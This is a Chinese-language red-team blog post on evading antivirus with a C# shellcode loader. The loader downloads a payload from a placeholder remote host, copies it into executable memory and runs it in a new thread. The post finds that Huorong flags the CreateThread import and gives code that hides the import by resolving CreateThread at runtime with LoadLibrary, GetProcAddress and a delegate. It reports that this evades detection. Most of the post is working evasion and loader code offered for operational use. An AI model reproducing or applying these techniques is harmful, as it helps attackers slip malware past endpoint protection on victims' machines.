【红队技巧】.Net免杀绕过主流杀软

【技巧】.Net免杀绕过主流杀软

前言

最近执行任务时，需要动用自己的免杀知识却发现它们不再生效，于是就有了本文。这次对windows api和C#又有了比在thm学习时更深的认识和了解。

C#动态加载
LoadLinrary受限绕过
EnumWindows函数执行shellcode

C#动态加载 - 火绒

我在执行任务时，我惊讶的发现，我的TryHackMe 祖传C#代马 steged分阶段加载器，居然被火绒落地秒杀

虽然360、defender不会报毒，但落地被火绒秒杀属实有点对不起thm大学的知识

伪代码：

csharp 复制代码

    [DllImport("kernel32")]
    private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
    
    string URI = "http://<ip>:<port>/<fileName>";
    WebClient webClient = new WebClient();
    webClient.DownloadData(URI);

    VirtualAlloc(0, (UInt32)State.Length, 0x1000, 0x40);
    Marshal.Copy(State, 0, (IntPtr)(Open), State.Length);
    
    CreateThread(0, 0, Open, parameter, 0, ref threadId);
    WaitForSingleObject(QQHandle, 0xFFFFFFFF);
    }

我针对代码，自下而上进行单行注释，直到p/invoke的CreateThread函数，当我把这个函数签名这一行给注释掉后，火绒就不杀了，结论就是：火绒碰到p/invoke的CreateThread立马干掉。

我尝试了CreateRemoteThread，这并不会导致被杀，也就是说目前可以确定火绒只会针对：

csharp 复制代码

    [DllImport("kernel32")]
    private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

换句话说只要IAT表或导入表里有CreateThread，立马就杀，所以这段代码不管怎么改也绕不过去

解决方案 - 动态加载

我总觉得我学过，但太久没用有点回忆不起来，我翻了翻曾经在thm上学的知识，最终还是找到了它

这是C++版本的动态加载，通过LoadLibrary函数动态加载dll到内存，最后通过GetProcAddress函数获取指定的函数地址，最终实现调用指定dll的指定函数

C#的实现

即便通过C#，想要做到这一点也相当简单，我们只需要通过委托来替代c++中的定义结构

首先我们需要通过p/invoke加载LoadLibrary和GetProcAddress，并且获取CreateThread函数的函数地址

csharp 复制代码

[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string _);

[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr __, string _);

...

h_Module = LoadLibrary("kernel32.dll");
fooProc = GetProcAddress(h_Module, "CreateThread");

创建委派，函数签名的参数个数、类型与CreateThread函数参数个数、类型一致

然后通过GetDelegateForFunctionPointer函数将函数指针转换成委托

csharp 复制代码

private delegate IntPtr _ct(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

...

var ct = Marshal.GetDelegateForFunctionPointer<ct>(fooProc);

这样，我们就可以通过委托去执行CreateThread函数了，对完整修改并编译后，火绒最终还是失效了